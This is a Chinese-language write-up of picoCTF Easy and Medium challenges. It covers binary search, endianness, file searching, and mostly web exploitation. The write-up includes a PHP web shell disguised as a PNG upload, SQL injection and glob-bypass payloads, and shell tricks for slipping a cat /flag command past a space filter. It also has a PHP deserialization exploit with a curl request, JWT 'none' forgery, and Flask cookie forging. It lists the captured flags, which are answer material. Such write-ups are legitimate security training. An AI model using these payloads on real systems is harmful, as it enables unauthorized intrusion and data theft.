# Easy
## Binary Search
題目會生成 1-1000 的數字,可以猜十次
```bash!
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 750
Lower! Try again.
Enter your guess: 625
Lower! Try again.
Enter your guess: 575
Higher! Try again.
Enter your guess: 600
Lower! Try again.
Enter your guess: 585
Lower! Try again.
Enter your guess: 580
Lower! Try again.
Enter your guess: 578
Higher! Try again.
Enter your guess: 579
Congratulations! You guessed the correct number: 579
Here's your flag: picoCTF{g00d_gu355_2e90d29b}
Connection to atlas.picoctf.net closed.
```
## Unminify
打開該網頁,查看網頁原始碼即可取得 flag

### IntroToBurp
使用 burp 攔截


刪除 OTP

## endianness

請 chatGPT 協助轉換

```bash!
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: wryzy
Enter the Little Endian representation: 797A797277
Correct Little Endian representation!
Enter the Big Endian representation: 7772797A79
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_817b7cfe}
```
## Big Zip

## First Find
```bash!
(base) poyenliang@MacBook-M3 Downloads % strings files.zip | grep "uber-secret.txt"
files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txtUT
files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txtUT
(base) poyenliang@MacBook-M3 Downloads % cd files/adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/
(base) poyenliang@MacBook-M3 deepest_secrets % cat uber-secret.txt
picoCTF{f1nd_15_f457_ab443fd1}
```
## Local Authority



開啟網頁原始碼,將這兩行輸入 console 內


## Inspect HTML

# Medium
## Trickster




- 根據 instructions.txt 的說明 此上傳會檢查兩件事
- 檔名是否有 .png
- 檔案開頭是否為 PNG
將以下程式碼存為 檔名.png.php
```php
PNG
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
```

## No Sql Injection

- hacktricks 上抄來的 bypass 方法

- 繞過以後攔截 response

- 輸入 cyberchef 解開便可得到 flag

## More SQLi



```
aaa' OR 1=1 --
```


```
Algiers ' UNION SELECT name, sql,'asd' FROM sqlite_master WHERE type='table' --
```

```
Algiers ' UNION SELECT flag, 'dsa','asd' FROM more_table --
```

## Java Code Analysis!?!

進入該頁面登入後發現需要 admin 權限才能閱讀

下載該網站的原始碼進行解析
1. hardcoded 的 RandomString

2. 發現有三個 role Free、Premium、Admin
- 裡面有設定 admin 的 Fullname 跟 email

3. 這裡註解有提示信任使用者,同時可以看到該程式碼無檢驗

[參考 JWT](https://medium.com/%E4%BC%81%E9%B5%9D%E4%B9%9F%E6%87%82%E7%A8%8B%E5%BC%8F%E8%A8%AD%E8%A8%88/jwt-json-web-token-%E5%8E%9F%E7%90%86%E4%BB%8B%E7%B4%B9-74abfafad7ba)
使用題目給的 user 帳號後可以在這邊抓到 JWT 內容

解析然後依照剛剛看到的程式碼去修改

使用 cyberchef 修改



## SQLiLite


```
aaa' OR 1=1 --
```


## SQL Direct


## Secrets






## Search source


## Roboto Sans


到 robot.txt 路徑可以看到一些 base64 編碼的字串

解密之後是一些路徑

嘗試看看就得到 flag 了

## Power Cookie

點 Continue as guest

顯示沒有給 guest 的服務

檢查 cookie

修改 isadmin 的 valuue

重新整理頁面即出現 flag

## Forbidden Paths



## JAuth



依照題目所給提示,對該站之 JWT 進行分析


測試看看是否可將演算法改為 None 並修改 role 為 admin

取得 flag

## caas

```javascript
const express = require('express');
const app = express();
const { exec } = require('child_process');
app.use(express.static('public'));
app.get('/cowsay/:message', (req, res) => {
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
if (error) return res.status(500).end();
res.type('txt').send(stdout).end();
});
});
app.listen(3000, () => {
console.log('listening');
});
```
exec()這個function
```javascript!
exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout)
```
exec()和eval()可以將()裡的字串當作指令來執行 [參考](https://steam.oxxostudio.tw/category/python/basic/builtin-eval-exec.html)
```javascript!
exec(`print("HI")`) => print("hi")
```
以下整理並解析了各種利用 shell 特性來執行 cat 指令讀取檔案內容(例如 flag)的技巧,主要目的是在沒有空格或被過濾的情況下,仍能達成相同效果:
1. 利用 Tab 取代空格
```bash!
cat<TAB>/flag
```
在某些環境中,伺服器可能會檢查直接輸入的空格,但不檢查 tab 鍵。利用 tab 作為空格的替代,讓指令看起來像是沒有空格,但最終 shell 會把它當作分隔符處理。
2. 輸入重定向
```bash!
cat</flag
```
這個寫法利用 shell 的輸入重定向功能,將 /flag 檔案的內容直接傳給 cat 命令讀取,而不需要在命令中顯式寫入空格。
3. 大括號展開
```bash!
{cat,/flag}
```
利用 shell 的大括號展開語法,可以將 cat 與 /flag 組合成一個命令。這種方法在某些情況下能繞過字元檢查,達到同樣執行 cat /flag 的效果。
4. 利用 IFS(Input Field Separators)
```bash!
cat$IFSflag
```
IFS 是 shell 預設的輸入分隔符(通常是空格、Tab 等),直接使用 $IFS 可以讓系統認為這裡有一個空格,從而構成正確的命令。這樣寫可以避免直接出現空格字元。
5. 使用轉義序列與變數
```bash!
X=$'cat\x20flag' && $X
```
```bash!
X=$'cat\x20flag' | $X
```
使用 $'...' 語法允許在字串中使用 C 語言風格的轉義序列,\x20 表示空格。將整個命令字串存入變數 X,然後利用 && 或管道符號來執行變數中的命令。這樣可以在不直接輸入空格的情況下達到執行 cat flag 的目的。

## login



## Super Serial

在 robots.txt 可以看到有 .phps 的檔名

### index.php
嘗試使用 index.phps 可以找到 cookies.php 跟 authentication.php

- 當使用者提交帳號和密碼時,程式會創建一個 ``permissions`` 類別的物件,包含帳號和密碼。
- 程式會檢查這個物件是否為 ``guest`` 或 ``admin``(通過 ``is_guest()`` 和 ``is_admin()`` 方法)。
如果驗證通過,程式會:
1. 將 ``permissions`` 物件序列化(serialize)。
2. 對序列化後的字串進行 base64 編碼。
3. 再進行 URL 編碼。
4. 將編碼後的字串存入名為 ``login`` 的 cookie 中。
然後,程式會重導向到 ``authentication.php``。
### cookies.phps

- 程式會從 ``login`` cookie 中讀取值,進行以下操作:
1. URL 解碼(urldecode)。
2. base64 解碼(base64_decode)。
3. 反序列化(unserialize),得到一個物件 ``$perm``。
- 假設 ``$perm`` 是 ``permissions`` 類別的物件,程式會呼叫 ``$perm->is_guest()`` 和 ``$perm->is_admin()``。
- 如果呼叫失敗(例如物件沒有這些方法),程式會進入 ``catch`` 區塊,並輸出 ``Deserialization error. ".$perm``。
- 在 ``catch`` 中,程式會將 ``$perm`` 當作字串輸出,這會觸發物件的 ``__toString()`` 方法(如果該方法存在)。
### authentication.php

- 定義了一個 ``access_log`` 類別,包含以下特點:
- 建構函數接受一個參數 ``$lf``,並將其設置為 ``$log_file``。
- ``__toString()`` 方法會讀取 ``$log_file`` 的內容(使用 ``file_get_contents``)。
- 在 cookie.php 中,``$perm`` 物件會被用來檢查是否為 ``admin``。
- 如果 ``$perm`` 是 ``admin``,程式會創建一個 ``access_log`` 物件,並記錄登入時間到 ``access.log``。
基於以上分析,設計以下攻擊方案:
1. 偽造物件:
- 創建一個 ``access_log`` 物件,將 ``$log_file`` 設置為 "../flag"。
2. 序列化並編碼:
- 將這個物件序列化(serialize)。
- 對序列化後的字串進行 base64 編碼。
- 再進行 URL 編碼。
3. 設置 cookie:
- 將編碼後的字串設置為 login cookie 的值。
4. 觸發漏洞:
- 訪問 ``authentication.php``,程式會嘗試反序列化 ``cookie``,得到一個 ``access_log`` 物件。
- 因為 ``access_log`` 沒有 ``is_guest()`` 方法,程式會進入 ``catch`` 區塊。
- 在 ``catch`` 中,程式會將物件轉為字串,觸發 ``__toString()``,從而讀取 ../flag 的內容。
```php!
<?php
class access_log {
public $log_file;
function __construct($lf) {
$this->log_file = $lf;
}
function __toString() {
return file_get_contents($this->log_file);
}
}
// 創建一個 access_log 物件,指定 log_file 為 "../flag"
$exploit = new access_log("../flag");
// 序列化物件
$serialized = serialize($exploit);
// 編碼:base64 再 URL encode
$base64 = base64_encode($serialized);
$encoded = urlencode($base64);
echo $encoded;
?>
```
### 輸出
```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```
程式碼解析:
- 定義了 ``access_log`` 類別。
- 創建一個 ``access_log`` 物件,傳入 "../flag" 作為 ``$log_file``。
- 序列化這個物件,得到一個字串(例如 O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";})。
- 用 base64 編碼。
- 再用 URL 編碼。
```bash!
curl http://mercury.picoctf.net:3449/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
```

## Most Cookies

題目可下載程式碼
```python=
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
```
在這程式碼中可以發現,使用隨機的 ``cookie_names`` 當作 ``secret_key``
```python=
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
```
並且 ``very_auth`` = ``admin`` 就可以取得 flag
```python=
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
```
https://github.com/noraj/flask-session-cookie-manager
使用工具來解碼找出``secret_key``,然後將``very_auth``改成``admin``

將修改好的 cookie 放回去網頁中,即可得到 flag

## Web Gauntlet

### round 1

```
username: admin';
password: 1
```

### round 2


```
username: admin';
password: 1
```
### round 3


```
username: admin';
password: 1
```
### round 4


```
username: ad'||'min';
password: 1
```
### round 5


```
username: ad'||'min';
password: 1
```

## Web Gauntlet 2

可以看到該頁面會過濾的符號

輸入後會顯示查詢語法給你參考

```
SELECT username, password FROM users WHERE username='adm'||'in' AND password='' glob '*'
```
帳號輸入: ad'||'min
密碼輸入: ' glob '*


## Web Gauntlet 3

帳號輸入: ad'||'min
密碼輸入: ' glob '*


## Some Assembly Required 1


## Some Assembly Required 2

下載 ``aD8SvhyVkb``

然後使用 wasm2wat 轉為 wat
接著將原本混淆過的 JS 與 wat 丟給 Grok 進行分析
```javascript=
let exports;
(async () => {
const _0x835967 = _0x5c00;
let _0x1adb5f = await fetch(_0x835967(0xd2)) // './aD8SvhyVkb'
, _0x355961 = await WebAssembly['instantiate'](await _0x1adb5f['arrayBuffer']())
, _0x5c0ffa = _0x355961[_0x835967(0xcc)]; // 'instance'
exports = _0x5c0ffa[_0x835967(0xd6)]; // 'exports'
})();
```
- 程式透過 fetch 從檔案 './aD8SvhyVkb' 載入 WebAssembly 模組。
- 使用 WebAssembly.instantiate 建立實例,並將匯出的功能儲存在 exports 物件中。
- exports 包含 WAT 中定義的函數與全局變量,例如 copy_char、check_flag 等。
```javascript=
function onButtonPress() {
const _0x50ea62 = _0x5c00;
let _0x5f4170 = document[_0x50ea62(0xd8)](_0x50ea62(0xda))[_0x50ea62(0xc5)]; // document.getElementById('input').value
for (let _0x19d3ca = 0x0; _0x19d3ca < _0x5f4170['length']; _0x19d3ca++) {
exports[_0x50ea62(0xc4)](_0x5f4170[_0x50ea62(0xd1)](_0x19d3ca), _0x19d3ca); // exports.copy_char(input.charCodeAt(i), i)
}
exports['copy_char'](0x0, _0x5f4170[_0x50ea62(0xd7)]), // exports.copy_char(0, input.length)
exports[_0x50ea62(0xca)]() == 0x1 ? // exports.check_flag()
document['getElementById'](_0x50ea62(0xd3))[_0x50ea62(0xd0)] = _0x50ea62(0xce) : // document.getElementById('result').innerHTML = 'Correct!'
document[_0x50ea62(0xd8)](_0x50ea62(0xd3))['innerHTML'] = _0x50ea62(0xd5); // document.getElementById('result').innerHTML = 'Incorrect!'
}
```
- 當按鈕被按下時:
1. 從 HTML 元素 ``id="input"`` 獲取用戶輸入的字串。
2. 遍歷字串的每個字元,調用 ``exports.copy_char``,將字元的 ASCII 碼與索引傳入。
3. 在字串末尾追加一個空字元(0),表示字串結束。
4. 調用 ``exports.check_flag`` 檢查旗標:
- 如果返回 1,顯示 "Correct!"。
- 如果返回 0,顯示 "Incorrect!"
```wat
(data (;0;) (i32.const 1024) "xakgK\5cNs9=8:9l1?im8i<89?00>88k09=nj9kimnu\00\00")
```
- 記憶體地址 1024 處儲存了一個字串:"xakgK\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu"(其中 \5c 是反斜杠 \,ASCII 碼為 92)
- ``global 1``:值為 1072,表示 input 的記憶體地址。
- ``global 2``:值為 1024,表示預存字串的地址。
```wat=
(func (;3;) (type 3) (param i32 i32)
(local i32 i32 i32 i32 i32 i32 i32 i32 i32)
...
local.get 4
i32.load offset=12
local.set 5
block
local.get 5
i32.eqz
br_if 0
local.get 4
i32.load offset=12
local.set 6
i32.const 8
local.set 7
local.get 6
local.get 7
i32.xor
local.set 8
local.get 4
local.get 8
i32.store offset=12
end
local.get 4
i32.load offset=12
local.set 9
local.get 4
i32.load offset=8
local.set 10
local.get 10
local.get 9
i32.store8 offset=1072
return)
```
- 參數:
- 第一個參數:字元的 ASCII 碼。
- 第二個參數:記憶體中的索引。
- 行為:
- 如果字元不為 0,將其與 8 進行 XOR 運算。
- 將結果儲存到地址 1072 + 索引 處(即 input 區域)。
1. 用戶輸入的每個字元透過 copy_char 被處理:
- 如果字元不為 0,與 8 進行 XOR 運算。
- 處理後的字元儲存到 input(地址 1072)。
2. check_flag 比較 input 與預存字串(地址 1024)。
3. 若兩者相等,返回 0;若不相等,返回 1。
4. JavaScript 期望 check_flag 返回 1 表示正確,這意味著 input 與預存字串必須不相等。
預存字串為 ``xakgK\\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu``
對每個字元進行 XOR8:
```python=
flag = "xakgK\\Ns9=8:9l1?im8i<89?00>88k09=nj9kimnu"
result = ''.join(chr(ord(c) ^ 8) for c in flag)
print(result)
```
## Who are you?


將瀏覽器改為 PicoBrowser



加上 referer


加上 Date


加上 DNT


加上 X-forwarded-For


```
GET / HTTP/1.1
Host: mercury.picoctf.net:39114
Cache-Control: max-age=0
Accept-Language: sv,sv;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: PicoBrowser/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
referer: mercury.picoctf.net:39114
X-Forwarded-For: 102.177.147.255
DNT: 1
Date: Wed, 21 Oct 2018 07:28:00 GMT
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

## Irish-Name-Repo 1


## Irish-Name-Repo 2


## Irish-Name-Repo 3


debug 改成 1

輸入的英文字母會被某種形式轉換

排出 'or 1=1;

## picobrowser




# Hard